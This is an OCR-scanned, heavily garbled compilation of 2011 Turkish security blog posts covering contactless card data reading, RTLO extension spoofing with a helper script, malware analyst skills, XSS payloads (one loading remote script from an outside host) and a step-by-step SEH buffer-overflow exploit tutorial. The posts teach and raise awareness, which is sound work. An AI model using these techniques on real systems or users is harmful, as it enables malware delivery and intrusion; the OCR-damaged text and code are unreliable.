security.enable_ts_session_tickets default boolean true

services.sync.prefs. sync.privacy.cearOnShutdown. sessions default boolean true

! about:config - Mozilla Firefox

fle Edt  Wew Hgtory Qookmarks Tpols Help

| sboutcont L) ;
€ 2 | [ asbout:config - g P
@ Disable- & Cookies~ »# C55- 5 Forms~ [ Images- () Information- L Miscelaneous- »» Outine- 3 Resize- B Tools+ | View Source~ [f}] Options= FE & 4
Eiter: | session x
Preference Name ~ Status Trpe Value n
browser. sessionhistory . max_entries def ault integer 50
browser. sessionhistory max_total_viewers defaulkt inkeger -1
browser. sessionstore. interval default Inkeger 15000
browser. sessionstore. max_resumed_crashes default Integer 1
browser.sessionstore.max_tabs_undo user set integer 0
browser_session max_windows_undo
browser. sessionstore. postdata default inkeger o
browser. sessionstore. privacy _level def ault Inkeger o
browser. sessionstore. privacy_level_deferred default inkeger 1
browser. sessionstore. restore_hidden_tabs default boolean Faise
browser. sessionstore.restore_on_demand default boolean False
browser. sessionstore.resume_from_crash defaut boolean true
browser. sessionstore. resume _session_once default boolean False
extensions. getAddons. get url def ault #tring hitps:/jservices. addans. mozila, org/%LOCALE Y firefox)api%AP]_VERSION%[search/guid: %ID5%  sre=firefoxBappOS="%605%8.
network, Cookie. ookies def au bookean false
network. cooke, thirdparty. sessionOnky default boolean False
privacy .clearOnShutdown. sessions default boolean true
privacy.cpd. sessions default boolean true
security.enable_tls_session_ticksts default boolean true
services. sync.prefs. sync.privacy. cearOnShutdown, sessions. default boolean true

Bir sonraki yazida gériismek dilegiyle herkese giivenli giinler dilerim...

Temassiz Tehlike

Source: https://www.mertsarica.com/temassiz-tehlike/
By M.S on November 25th, 2011

P

Son giinlerde sahip oldugum kredi kartlarina baktigimda hemen hemen hepsinin temassiz kredi kart1 (Mastercard ise Paypass yazisi, Visa
ise PayWave amblemi) oldugunu farkettim. 2008 yilinda temassiz kredi kartlariin sayis1 bir elin parmaklarini gegmezken giiniimiizde
artik gogu banka, miisterilerinin kredi kartlarni temassiz kredi kartlari ile yeniler oldu. Ozellikle NFC (Near Field Communication)
teknolojisinin cep telefonlari ve akilli telefonlarda yer almasi ve yakin zamanda temassiz aligverise imkan saglayacak olmalari nedeniyle
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https://www.mertsarica.com/temassiz-tehlike/
https://www.mertsarica.com/temassiz-tehlike/
https://www.mertsarica.com/images/paypass4.jpg
https://www.mertsarica.com/images/paypass4.jpg
http://tr.wikipedia.org/wiki/NFC

kimi haber sitelerinde yer alan haberlere gore yakin zamanda temasl ve temassiz kredi kartlari tarih olarak yerlerini bu cihazlara birakiyor
olacaklar.

Her ne kadar bu ve benzer haberlerin dniimiizdeki 5 yil igerisinde ger¢eklesme olasiligi bana gore diisiik olsa da bir glivenlik uzmani
olarak ciizdanimda RFID teknolojisini kullanan temassiz kredi kart1 tasimak yerine NFC teknolojisini kullanmay1 tercih ederim. Bunun
en biiylik nedeni ciizdaninizda bulunan temassiz kredi kart1 haberiniz olmadan herhangi bir RFID okuyucu ile okunabilirken NFC
teknolojisi kullanan bir cihazda bu olasiligin oldukga diisiik olmasidir nedeni ise bunun igin dncelikle kredi kart1 yerine kullanacaginiz
mobil uygulamayi ¢alistirmis ve NFC vericisini devreye sokmus olmaniz gerekmektedir.

Peki benim gibi ciizdaninda temassiz kredi karti tagtyanlar i¢in durum ne kadar vahim veya gercekten vahim mi ? Gelin bu soruya
birlikte yanit arayalim.

Eger y11 2008 olsayd ve clizdaninizda temassiz kredi kart1 tagtyor olsaydiniz, merakli bir kisi, RFIDIOt adindaki yazilim ve destekledigi
RFID okuyucu ile temassiz kredi kartinizin icinde yer alan etiketi okuyarak adinizi, soyadinizi, kredi kart1 numaranizi ve kredi kartinizin
son kullanma tarihini kolaylikla 6grenebilirdi. Nasil m1 ? Iste boyle.

Giliniimiize gelecek olursak, ayni durumun halen gegerli olup olmadigimin yanitini gegtigimiz gilinlerde aramaya koyuldum ve teste
baslayabilmek i¢in ilk olarak ihtiya¢ duyacagim malzemeleri toplamaya basladim. Temassiz kredi kart1 olarak gectigimiz aylarda elime
ulasan Mastercard'mn temassiz kredi kartini, RFID okuyucu olarak OmniKey CardMan 5321 cihazini, okuyucu yazilimi olarak ise
RFIDIOt v1.0b yazilimini, isletim sistemi olarak {izerinde Python v2.7.1, pyreadline ve pyscard modiillerinin kurulu oldugu Windows
7 isletim sistemini kullandim.

Teste basladigim zaman RFIDIOt yaziliminin temassiz kredi kartinda yer alan etiketi okuduktan sonra "Unrecognized TAG
(tanimlanamayan etiket)" hatasin1 dondiigiinii gordiim. Hata ile birlikte donen paketleri inceledigimde bu paketler igerisinde kredi
karti numaramin ve son kullanma tarihinin HEX degerlerinin yer aldigin1 goérdiim. Yaklasik 1.5 sene dnce giincellenen RFIDIOt
yaziliminda yer alan tanimlt APDU komutlarinin ve ¢dziimleme (parse) fonksiyonlarinin eski kaldigini diisiinerek alternatif yazilimlar
aramaya koyuldum ve Brad Antoniewicz'in blogunda yer alan ChasePayPassBlink yazilimi ile karsilagtim. Ancak bu yazilimin Chase
bankamatik/kredi kartina yonelik gelistirildigini 6grendikten sonra elimde bulunan Mastercard'in Paypass kredi karti i¢in bu yazilim
lizerinde degisiklikler yapmam gerekecegini anladim ve kisa bir arastirma ve ¢aligmanin sonucunda ortaya Paypass Kredi Karti Okuyucu
yazilimi ¢ikmis oldu. Yazilimi galistirir ¢alistirmaz temassiz kredi kartindan kredi kartt numarasini ve son kullanma tarihini basariyla
okuyabildigini gordiikten sonra testi tamamladim.

lows \system32\cmd.exe

]

g
[+] Primary Account Mumber (PAND>:
[+] Expiration Date:

2008 yilindan farkli olarak temassiz kredi kartinda yer alan etikette artik miisteri adi ve soyadinin yer almamasini sevingle karsilamis
olmama ragmen kredi kartt numarasinin ve son kullanma tarihinin halen okunabiliyor olmasi her ne kadar direkt olarak dolandiricilar
tarafindan alehyte kullanilamayacak olsa da sosyal miihendislik yontemleri ile diger bilgiler ile birlestirilerek kullanilma ihtimali
konusunda diisiindiirtmeye yetti.

Peki ya sonug ? Sonug itibariyle clizdaninizda veya cebinizde bulunan kredi kartt numaraniz ve kredi kartinizin son kullanma tarihi bir
sekilde (bu 2008 yilindaki videoda oldugu gibi koca bir RFID okuyucuyu cebinize yakinlastirarak olabilir, RFID kapi1 anteni kullanilarak
olabilir veya StrongLink gibi ufak bir okuyucu kullanarak olabilir) merakli kisi veya kisiler tarafindan okunabilir. Bu ihtimal diistik
dahi olsa sizin i¢in dnemli bir husus ise ¢oziim Onerisi olarak 20$ gibi ciizi bir ticret ddeyerek internetten siparis edebileceginiz RFID
korumali bir ciizdan kullanmanizi dnerebilirim.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim...

Her Gordiigiine inanma

Source: https://www.mertsarica.com/her-gordugune-inanma/
By M.S on November Ist, 2011

=3

RTLO, nami diger RIGHT-TO-LEFT OVERRIDE, Windows XP igletim sistemi kullanirken pek cogumuzun dikkate almadig1 ancak
Windows Vista ve Windows 7 isletim sistemi kullanirken ¢ok dikkatli olmamizi gerektiren bir Evrensel kod (unicode) karakteridir
(\u202E). RTLO kisaca karakterlerin soldan saga degil sagdan sola olarak islem gérmesini saglar ve bu sayede sagdan sola yazilan diller
(Arapga, Ibranice, Siiryanice vs.) desteklenebilmektedir.

Windows XP isletim sistemi, varsayilan (default) olarak az 6nce bahsi gecen dilleri desteklememekte, ek bir paket yiiklenerek (Install
files for complex script and right-to-left languages) destekleyebilmekteydi. Ancak Windows Vista ve Windows 7 isletim sistemlerinin
hayatimiza girmesi ile bu durum degisti ve varsayilan olarak bu diller desteklenir hale geldi. Peki bu destegin bizimle ne ilgisi var ?

Yillarca yakinimizdakiler tarafindan yapilan su sekilde uyarilara kulak kabarttik durduk, "Bir dosyay1 ¢alistirmadan 6nce uzantisina
mutlaka dikkat et", "Uzantis1 exe ise sakin galistirma, virlis olabilir" ve bu sayede yillar i¢inde hepimiz ister istemez bir dosyayi
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calistirmadan 6nce uzantisina dikkat eder olduk. Cogu kimse farkinda olmasa da bu kontrol sayesinde art niyetli kisiler zararli yazilimlar1
sistemlere bulagtirabilmek i¢in daha farkli sosyal miithendislik yontemlerine bagvurmak zorunda kaldilar. Bu yontemlerden biri de RTLO
evrensel kod karakterli dosya adlarina sahip zararl yazilimlar olusturmak oldu. Peki bu dosya adlarini nasil olusturuyorlar da kullanicilart
kolaylikla kandirabiliyorlar ?

Oncelikle RTLO evrensel kod karakteri iceren dosya adim1 Windows 7 isletim sistemi iizerinde olusturabilmek icin kayit defterinde
(registry) bir kag degisiklik yapmak ve daha sonra sistemi yeniden baslatmak gerekiyor.

Bunun i¢in izlenmesi gereken adimlar sirasiyla:

¢ Regedit komutu ¢aligtirilir. (Start -> Arama kutucugu -> regedit)

¢ HKEY CURRENT USER\Control Panel\Input Method altinda EnableHexNumpad anahtari olusturulur ve anahtara 1 degeri
atanir.

¢ Sistem yeniden baglatilir.

Ardindan .exe olan program uzantisinin istenilen bagka bir uzantrymis gibi gériinmesi igin RTLO evrensel kod karakterini dosya adinda
kullaniyorlar. Daha net olmasi adina ufak bir 6rnek {izerinden ilerleyelim.
* Windows/system32 klasorii altinda yer alan calc.exe programini dilediginiz bir klasére kopyalayin.

¢ Programin uzantisinin doc olarak goériinmesini saglayacagimiz i¢in programin simgesini (icon) Microsoft Word simgesi olarak
degistirin. (Resource Hacker programi iginizi gorecektir.)

* Daha sonra programin adin1 (rename) cod.exe olarak degistirin.

* Ardindan programin adini tekrar degistirmek i¢in programin {izerine farenin sag tusu ile basip mentiden yeniden adlandir (rename)
0gesini segin.

+ Imleci c harfinin basina (en sol) getirin ve ardindan klavyeden NUMLOCK agik iken ALT ve FN tuslarina basili tutarak +202E
tuslarina basim.

Gordiigiiniiz tizere programin uzantist artik doc olarak gdziikiiyor. Komut satirindan programin bulundugu klasérde DIR komutunu
calistiracak olursaniz bu yanilginin goriintiiden ibaret oldugunu hemen anlayabilirsiniz.
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M.11.

Python ile yukarida bahsetmis oldugum adimlar1 (simge degistirme hari¢) otomatize eden RTLO.py isimli programa buradan
ulasabilirsiniz.

Programin kullanimi: python rtlo.py [extension] [source filename] [new filename]
Ornek kullanim: python rtlo.py .doc calc.exe Confidential document no_

Sonug olarak Windows Vista veya Windows 7 kullanicisiysaniz ve eskiden kalma uzanti kontrolii yaparak programlar1 gézii kapali
calistirma aliskanliginiz varsa yakin zamanda sikint1 yasama ihtimaline kars1 programlari calistirmadan dnce i¢inde bulundugu klasérde
yer alan TYPE (Application ise dikkat!) kolonuna veya HEX Editor ile baslik bilgisine (ilk 2 bayt MZ ise dikkat!) dikkat etmeniz faydali
olacaktir.

Mame

EEI exe.doc

Mame

Eﬂ exe.doc

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim...

Zararh Yazilim Analisti Olmak...

Source: https://www.mertsarica.com/zararli-yazilim-analisti-olmak/
By M.S on October Sth, 2011

=,

Son yillarda Windows isletim sistemini hedefalan Zeus, SpyEye, TDL gibi hatr1 say1lir zararli yazilimlara mansetlerde sik¢a rastliyorduk.
Daha sonra o ¢ok giivenli Mac OS X igletim sisteminin kullanim oraninin artig gostermesi ile (bunun en biiyiik nedenlerinden biri de Mac
OS X'e zararli yazilim bulagmaz yanilgisi olsa gerek) bu sisteme yonelik gelistirilen zararli yazilimlar da mangetlerde yerini birer birer
almaya basladi. Giin geldi tweet atmaktan internette sorf yapmaya, e-posta okumaktan bankacilik islemleri ger¢eklestirmeye kadar bir
¢ok alanda ihtiyaclarimizi karsilayabilen, modern isletim sistemleri ile gii¢lendirilmis olan akilli mobil cihazlar i¢in gelistirilen zararli
yazilimlar mansetleri siislemeye basladi. Peki bilgi hirsizlig1 i¢in gelistirilen zararli yazilimlar neden bu kadar revagta ?
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Unlii bir banka soyguncusu olan Willie Sutton'e "Neden banka soyuyorsunuz ?" diye bir soru yonelten muhabirin aldig1 "Ciinkii para
orada" yanitini giiniimiize uyarlar ve "Neden zararl yazilim gelistiriyorsunuz?" diye bir soru soracak olsaydik alacagimiz yanit siiphesiz
"Ciinkii finansal getirisi ¢ok yiiksek" olurdu ve ilk sordugumuz sorunun da yanitint almis olurduk.

Oyle bir diinyada yasiyoruz ki hig bir zaman kansere, aidse ve diger 6liimciil hastaliklara gare bulunmayacagina sadece bu hastaliklarin
ilerlemesini engelleyen, kontrol altinda tutan pahali ilaglarin piyasada olacagina inaniyorum. Bilgi/Bilisim giivenligi sektoriinii de ayn1
sekilde diisiiniiyorum. Hig bir zaman ¢ok giivenli bir isletim sistemi tasarlanmayacak veya bir antiviriis yazilimi tiim zararli yazilimlar1
tespit ediyor veya sisteme bulagmasini engelliyor olmayacak. Durum boyle olunca da nasil hastaliklarin bulagmasini engellemek, tedavi
etmekten daha kolay ise ayn1 sekilde zararli yazilimlarin da sistemlere bulagmasini engellemek, sistemlerden kaldirmaktan daha kolay
olmaya devam edecek. Zararli yazilimlar ha bulasti ha bulasacak derken kurumlar daha fazla zararli yazilim analistine veya bu beceriye
sahip calisanlar1 istihdam etmeye baslayacak ve bu sayede bu alanda uzmanlasmak isteyenler, bu isten keyif alanlar i¢in zararli yazilim
analizi hobi olmaktan gikarak mesleklerinin bir pargasi haline doniisecektir. Ozellikle APT'lerin dev kurumlari hedef aldig1 son aylarda
kendi personeli ile zararli yazilim analizi yapabilen bir kurum olmanin getirisi (3. partilere giiven kaygisi, kapali kapilar ardinda ¢6ziim
iiretme ihtiyaci) paha bigilmez olsa gerek.

Peki zararl1 yazilim analisti olmak i¢in ne tiir bilgi/becerilere sahip olmaniz gerekiyor ?

Programlama becerisi: Bilisim giivenligi uzmani olupta programlama dili bilmiyorum demek kulaga ne kadar garip geliyorsa (gelmiyorsa
da ben ¢ok yadirgiyorum, her zaman araclar isinizi gormeyebilir) zararli yazilim analistiyim ancak Assembly'den, Java'dan, C'den,
C#den anlamiyorum demek kulaga bir o kadar garip gelebilir. Ornegin Java ile yazilmis bir zararli yazilimi decompile ettikten sonra
kodu analiz etmeniz gerekecek bu durumda ne yapacaksiniz ? Veya zararli bir yazilimi assembly seviyesinde ¢alisan bir debugger ile
(Ollydbg veya Immnunity Debugger) analiz ediyorsunuz, Assembly bilmeden programin akisina nasil miidahale edecek veya sifreleme
anahtarlarini nasil ele gegireceksiniz ? Gereksinimler bdyle olunca bir zararli yazilim analistinin C ve Assembly programlama dillerine
yabanci olmamasi buna ilaveten diger programlama dilleri ile yazilmis (C++, Java, .Net) programlarin kaynak kodlarina az ¢ok goz
gezdirmis olmas1 gerekmektedir. Bunlara ilaveten Python veya Ruby gibi programlama dillerinden faydalanarak hizli bir sekilde kendi
programinizi yazmaniz gerekebilir. Ornegin hafizadan diske kayit ettiginiz (dump) zararl bir yazilimdan otomatik olarak sifreleme
anahtarlarini toplayan ve sifrelemeyi ¢dzen bir program yazmak istiyorsunuz. Sayet Python biliyorsaniz IDAPython ile ufak betikler
(script) yazmaniz isinizi oldukca hizlandiracaktir. Anlayacaginiz iizere zararli yazilim analisti olma konusunda 1srarci iseniz birden fazla
programlama dili bilmeniz (uzman seviyesinde olmasa da) sart!

Sistem, ag ve uygulama yoneticisi becerisi: En basitinden elinizde analiz etmeniz gereken bir zararli yazilim var ve bunu kendi
sisteminizde analiz etmemeniz gerektigini az ¢ok tahmin edebiliyorsunuzdur. Bu durumda yapmaniz gereken izole bir ortamda kontrollii
bir sekilde bu yazilimi ¢alistirmaktir. Bunun igin sanal ortamlardan (VMWare veya Virtual Box iyi bir se¢im olacaktir) olusan
zararli yazilim analiz laboratuvari kurmaniz gerektigi i¢in igletim sistemi kurulumundan konfigilirasyonuna, sanal ag yapilandirmalari
olusturmaya kadar bir cok konuda bilgi sahibi olmaniz gerekmektedir. Ornegin Android isletim sistemini hedef alan zararh bir yazilimi
analiz etmeniz gerekiyor. Bu durumda mutlaka Android OS yiiklii bir cihaza m1 ihtiyaciniz var ? Tabii ki hayir, sanal sistem {izerine
kuracaginiz ve yapilandiracaginiz bir emiilator iginizi gérecektir. Veya ag lizerinden yayilmaya ¢alisan zararli bir yazilimin olusturdugu
trafigi izlemeniz ve analiz etmeniz gerekecek bu durumda ag bilgisine ihtiya¢ duyacaksiniz misal hangi port iizerinden hangi protokolii
kullaniyor, sifreli mi haberlesiyor. Veya analiz ettiginiz zararli yazilim internette bulunan bir web sunucusu iizerindeki 0. giin zafiyetini
istismar etmeye calistyor ancak analizi tamamlamak i¢in bunu gergeklestirmesine izin veremezsiniz bu nedenle sanal sisteminizin
DNS kayitlarini, aradigi alan adini sanal sisteminize yonlendirecek sekilde yapilandirarak ve kuracagimiz ayni siirim web sunucusuna
yonlendirerek istismar etmesini saglamaniz ve analiz etmeniz gerekecektir. Kisacasi yeri gelecek sistem, ag ve uygulama yoneticisinin
sahip oldugu hiinerleri sergileyeceginiz bir ortam olusturarak zararli yazilimin basariyla ¢alismasini saglayacak alt yapiy1 olusturmaniz
gerekecektir.

Her zamanki gibi zararli yazilim analizi ile ilgili kitaplar okumak (misal Malware Analyst's Cookbook ve bu listede yer alan kitaplar),
bloglar1 ve haber kaynaklarini takip etmek (misal MNIN Security Blog), egitimlere katilmak (misal SANS'in Reverse-Engineering
Malware: Malware Analysis Tools and Techniques egitimi) ve tabii ki bol bol pratik yapmak (bunun igin tizerinde zararli yazilim
tespit edilen sitelerin duyuruldugu twitter.com/hack4career twitter sayfasina goz atmak ve zararli yazilimlari indirerek incelemek iyi bir
baslangi¢ olabilir) zaman i¢inde sizi basariya ulasgtiracaktir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim...

XSS !'= Basit Bir Kutucuk

Source: https://www.mertsarica.com/xss-ve-beef/
By M.S on August 19th, 2011

=3,

Bu zamana dek cross-site scripting ile ilgili ¢ok sayida makale, hikaye okumus olabilirsiniz ancak cross-site scripting zafiyetinin halen
web uygulamalarinda en ¢ok rastlanan giivenlik zafiyetlerinin baginda geliyor olmasi nedeniyle farkindaligi arttirma adina ben de
birseyler karalamak istedim.

Cross-site scripting, nam-1 diger XSS ve Tiirk¢e meali ile siteler arasi betik ¢alistirma zafiyeti ile ilgili son kullanici olarak bugiine dek
¢ok fazla haber duydunuz, yazilimei veya yonetici olarak ¢ok sayida XSS yazan bir kutucuk gordiiniiz ve bu nedenle XSS zafiyetinin
uygulama iizerinde zararsiz, kiigiik bir kutucuk ¢ikarmaktan ibaret oldugunu diisiinebilirsiniz ancak gergekler bir kutucuk ile sinirli degil.

Siteler arasi betik ¢alistirma zafiyeti (XSS) kabaca bir web uygulamasimin girdi olarak kabul ettigi kodu (¢ogunlukla javascript)
filtrelemeden kullaniciya sunmasit sonucunda ortaya ¢ikmaktadir.
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Siteler arasi betik ¢alistirma zafiyeti lige ayrilmaktadir;

» Kalict (persistent/stored): Kullanicidan girdi olarak alinan kod (potansiyel zararli javascript) veritabanina bir defa yazildiktan
sonra daha sonra igerigin internet tarayicisi tarafindan her ¢agrilmasinda (6rnek olarak foruma yazilmis bir mesaji veya bir haberin
altina yazilan bir yorumu diisiiniin) tekrar ve tekrar kullaniciya sunulur.

e Kalict olmayan (non-persistent/reflected): Kullanicidan girdi olarak alinan kod (potansiyel zararli javascript) veritabanina
yazilmadigi i¢in sadece bir defa internet tarayicisi tarafindan (E-posta veya sohbet programi iizerinden size gonderilmis bir baglanti
adresine (URL) tikladiginiz1 diiglinlin) ¢cagrilmasi ile kullaniciya sunulur.

« DOM tabanli: Istemci tarafinda bulunan kodun (javascript), DOM'a (Document Object Model/Belge Nesne Yapisidir) miidahale
etmesiyle ortaya ¢ikmaktadir. DOM tabanli XSS'in en giizel yanmi istemci tarafinda oldugu i¢in sunucuya herhangi bir paket
gonderilmemektedir bu nedenle sunucu tarafinda tespit edilmesi veya engellenmesi miimkiin olmaz.

XSS zafiyetinin sadece kutucuk ¢ikartarak, ¢erez (cookie) ¢alarak veya olta (phishing) saldirilarinda kullanarak istismar edilmeyecegine
dair en giizel 6rnegi Apache'nin gegen sene basina gelenlerden 6grenebilirsiniz. 2010 yilinda art niyetli kigiler tarafindan Apache
sunucularinda bulunan bir web uygulamasinda kesfedilen XSS zafiyetinin istismar edilmesi ile baglayan sizma girisimi sunucularda
root yetkisine sahip olmalari ile son buldu. Farkindalig: arttirma adina mutlaka okunmasi ve okutturulmasi gereken bu olaya ait detayl
bilgiye buradan ulasabilirsiniz.

XSS zafiyeti ile ilgili bir 6rnek tizerinden gegmezsek anlasilmasi gii¢ olacagi iin ufak bir 6rnek iizerinden hizlica ilerleyelim.

Asagida yer alan baglant1 adresini ziyaret edecek olursaniz karsiniza tfSearch parametresine girdi olarak belirtilen Mert kelimesinin
aratilmasi sonucunda sunucu tarafindan dénen yanit1 goreceksiniz. Uygulama tarafinda tfSearch parametresinde girdi kontrolii (kotii
karakter filtrelemesi) yapilmadigi icin XSS zafiyetine yol agmaktadir.

XSS zafiyeti istismar edilmeden kullanim (tfSearch parametresinde XSS zafiteyi bulunmaktadir):
http://testasp. vul nweb. com Sear ch. asp?t f Sear ch=Mer t
XSS zafiyetini istismar ederek kullanim #1 (alarm kutucugu):
http://testasp. vul nweb. com Sear ch. asp?t f Sear ch=<scri pt>alert (' XSS'); </scri pt>
XSS zafiyetini istismar ederek kullanim #2 (baska bir siteden zararli javascript kodu ¢agirma):
http://testasp. vul nweb. com Sear ch. asp?t f Sear ch=<scri pt SRC=http://ha. ckers. org/xss.js></script>

Unutmayin, XSS zafiyetini istismar ederek zararli bir siteden zararl javascript kodu ¢agirmanizi saglayan art niyetli kisiler, internet
tarayicinizi uzaktan yoneterek tiim tus kayitlarinizi izleyebilir, ziyaret ettiginiz siteleri tespit edebilir, Metasploit ile internet tarayicinizin
zafiyetlerini istismar ederek sisteminize sizabilir veya adsl modeminizin yonetim sayfasindaki CSRF zafiyetini istismar ederek yonetici
sifrenizi degistirerek modeminizi kontrol edebilir.

Tus kayitlarinin Beef araci ile nasil izlenebildigini gdsteren videoyu siddetle izlemenizi tavsiye ederim.

Askere gitmeden Once hazirlamig oldugum yaylalar yazi dizisinin besincisi burada son bulurken herkese giivenli giinler dilerim.

5 Dakikada SEH istismar Araci (Exploit) Hazirlama

Source: https://www.mertsarica.com/test/
By M.S on July 19th, 2011

=3,

Yazilarimi takip edenleriniz daha énce SEH istismarini konu olan bir yazi yazdigimi hatirlayacaktir. Bugiinkii yazimda SEH istismar
aracinin Immunity Debugger lizerinde ¢alisan pvefindaddr.py eklentisi ile nasil kisa bir siire iginde hazirlanabilecegini gorecegiz.

Immunity Debugger, istismar araci (exploit) hazirlamak, zararli yazilim (malware) analizi ve tersine miihendislik yapmak isteyenler
icin oldukga basarilt bir hata ayiklama (debugger) aracidir. Sade ve anlasilir arayiizii, komut satir1 destegi ve Python ile betik (script)
hazirlamaya imkan tantyan destegi sayesinde masaiistiimiin vazgegilmezleri arasinda yer almaktadir.

pvefindaddr.py eklentisi, Peter Van Eeckhoutte tarafindan istismar araci hazirlamak i¢in 6zel olarak tasarlanmis ve iginde patern
olusturmaktan otomatik istismar kodu sablonu olusturmaya kadar bir cok 6zellige sahiptir. Eklentinin kullanimu ile ilgili detayl bilgiye
buradan ulasabilirsiniz.

Adimlara gegcmeden 6nce ilk olarak sisteminizde yiiklii olan Immunity Debugger arac1 i¢in pvefindaddr.py aracini buradan indirerek C:
\Program Files\Immunity Inc\Immunity Debugger\PyCommands klasorii altina kopyalayin.

Istismar edilecek arag olarak daha &nceki yazimda adi gegen Free WMA MP3 Converter v1.1 aracini kullanacagiz.

Immunity Debugger aracini galistirdiktan sonra File -> Open meniisiinden C:\Program Files\Free WMA MP3 Converter\Wmpcon.exe
aracini segelim ve Open butonuna basalim. F9 tusuna basarak programi caligtiralim. Komut satirinda !pvefindaddr pattern_create
5000 yazarak 5000 bayt biiyiikligiinde bir patern olusturalim. Olusturulan patern C:\Program Files\Immunity Inc\Immunity Debugger
\mspattern.txt dosyasi olarak kayit edilmektedir.
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* Immunity Debugger - Wmpcon.exe - [CPU - main thread, module Wmpcon]
[C]Fie vew Debug Plgns Innib Optons Window He Jobs

BT

daddr pattern_create 5000

[Done = check mspattern.ext I Paused

B mspattern.txt - Notepad EEX)

Fle Edt Fomat Vew Heh

output generated by pefindaddr v2,0.13
corelancodsr - http://www. corelan. be:8800

05 : xp, release 5.1.2600

2011-04-07 01:18:46

Cyclic pattern of 5000 characters :

b §ADIACOACLAC2ACACAAC SACBACTACBACIATOATIA
161351361401 61001 7515195)00]15] 55136451 183051 761501 SOk OBLL KB SBK4 Bk K65k 76k ok 081 081151581
2C03C A C5CqCH7CaBCGECr OCrdCr 2Cr 3CraCr SCr BCr 7CrBCr 0CS0CS1CS 2CS3C54CS 55605 7Cs BCSOCTOCTICTCTICT:

o o 10F1LF12F13F14F1 5F16F 1 7F18F10F] OFJ1F) 2F] 3FJ4F] SFI6F]

*exp.py - C:\ocuments and Settings\Administrator\Desktoplexp. py* EEX

Format Run Options Windows Help

-] sarica [ @) gmail [ . ] com
p://vwe.mertsarica.com
§ This coos is provided for educacional purposes only, use ac your own risk

29 Ab0Ab1 b2 Ab3 Ab4 AbS Ab6 A7 AbE AbIACOAC 1 Ac2 Acd Ac4 A SACE ACTACEA

wav. urite (exp)
wav.close () :

i 11/Col: 0

Dosyanin igindeki paterni taslak halde olan istismar aracimiza (exp.py) kopyaladiktan sonra g¢aligtirarak WMA MP3 Converter
programinda yer alan hatayi/zafiyeti tetikleyecek WAV uzantili dosyay1 (MS.wav) olusturalim.

WMA MP3 Converter programinda yer alan WAV to MP3 butonuna basarak MS.wav dosyasini segelim ve Immunity Debugger aract
iizerinde Access Violation hatasi ile karsilastiktan sonra komut satirinda !pvefindaddr suggest yazarak eklenti tarafindan bize dnerilen
istismar arac1 olusturma sablonunu gériintiileyelim. (Onerilen kod Perl diline yonelik oldugu icin bu kodu Python koduna ¢evirmemiz
gerekecektir.)

Options

WMA 1o MP3. Setings

MP3toWHA. Help
WAV 2 MP3. e
MP3toWAV. Do
WAV o WHA. About

WMA to WAY. Ext
it /s eusing com
=

[Hoautes CexProgran Fil TockerHook.d11 [Running
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. Immunity Debugger - Wmpcon.exe - [CPU - thread 0D00OFBC]
[€]Fle View Dobug Plogns Inmib_Optons Window el Jobs
% EE «x bl

. Immunity Debugger - Wmpcon.exe - [Log data] [@]

[L] Fle tiew Debug Pugns Inmib Options Window Help Jobs _ 8 x
EEN S lfemtwhcPkbzr.

[tpvefindaddr suggest
[Show Log window <ATE+L> [Faused

Karsimiza ¢ikan yonergelerde istismar aracinin basartyla c¢aligabilmesi icin POP POP RET adresine ve kabuk koduna (shellcode)
ihtiyacimiz oldugu belirtildigi i¢in komut satirinda 6ncelikle !pvefindaddr p -n yazarak SAFESEH'in devre dis1 oldugu bir DLL'de yer
alan POP POP RET adresi bularak istismar aracimizin iskeletini olugturmaya devam edelim.

f: - [=]x]
[O% T «x b 1w 43

daddr p
[Found 2062 addressCes> <Check the Log Windows For details) Paused ]

4 Immunity Debugger - Wmpcon.exe - [Log data]
[L] Fle View Debug Plugns Il Options Window Help  Jobs
[O% #f lemtwhcPkbzr..

Ipvefindaddr p -n

[Found 2062 addressCes> (Check the Log Windous for detailsy [Paused 1
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B por.x - Notepad EEX
B e
8 at Ox582E376D [s1_anet.acr *%  _ [ascii printable] {PAGE_EXECUTE_READ} [SafeSEH: **

NO VW
C at 0xdF200408 [wmadmoe. dT PAGE_EXECUTE_READ} [SafeseH: Probabl!
X4F20E2F2 Do

C at 0x4F21361E [wmadmoe. d]
C at O0x4F21374E [wmadmoe. d1
X4F2176C1

]
T 0x4B2BF78E [wmspdmos.d11] *»
astersi [wmspanoe 31 =

@F217;
C at 0x4F217956 [wnacmoe. d1 [as 1e] {PAGE_exi
i able] {PAGE_EXECU

PAGE_EXECU
SafeseH:

w {py ww”-ASLR: % No (Probab
“ {PAGE_EXECUTE_READ] [safeSEH: “* No “* - ASLR: ** No (Probably no

[ascii printable]
C at_oxd 6 {PAGE_EXECUTE_READ’
at 0XSBLACSES [iac:
< >

Son olarak hesap makinasini (calc.exe) ¢aligtiracak kabuk kodunu (shellcode) ister Metasploit ile olusturarak ister herhangi bir istismar
aracindan kopyalayarak sablonda ilgili yere kopyalayarak iskeleti tamamlayalim ve istismar aracini ¢alistirarak zafiyeti istismar eden
WAV dosyasini olusturalim. WMA MP3 Converter programini ¢alistirdiktan sonra MP3 butonuna basarak istismar aracimiz tarafindan
olusturulan yeni MS.wav dosyasini sectigimizde hesap makinasi karsimiza ¢ikacak ve mutlu sona ulastigimizi gérecegiz.

Askere gitmeden once hazirlamis oldugum yaylalar yazi dizisinin dordiinciisii burada son bulurken herkese giivenli giinler dilerim.

Seytan lkiz
Source: https://www.mertsarica.com/seytan-ikiz/
By M.S on June 19th, 2011

e

Gegtigimiz aylarda RSA'in sistemlerine sizan kisilerin Securid ile ilgili bilgileri ¢aldiklar1 ortaya ¢ikti. RSA tarafindan yapilan
aciklamada saldirilarin baslangic noktasinda sosyal miihendislik ve olta saldirist (phishing) oldugu dikkat ¢ekiyordu. Olta saldirisini
gerceklestirmek igin sosyal aglardan faydalanan ahlaksiz korsanlarin RSA ¢alisanlarina ait bilgileri elde ettikleri tahmin ediliyor.

Isin iginde insan faktérii oldugu siirece 100 haneli sifre ile korunan bir sisteme sizmak isteyenler, sifreyi kirmak yerine sistem
sorumlularim1 kandirma yolunu tercih ediyorlar ve eninde sonunda basariya ulasiyorlar bu nedenle RSA'in basina gelenlere ¢ok
sasirmiyorum Ozellikle sosyal aglarda, firma calisanlar: tarafindan paylasilan bilgilerin ilerleyen zamanlarda ¢ogu firmanin basini daha
¢ok agritacagini diistiniiyorum.

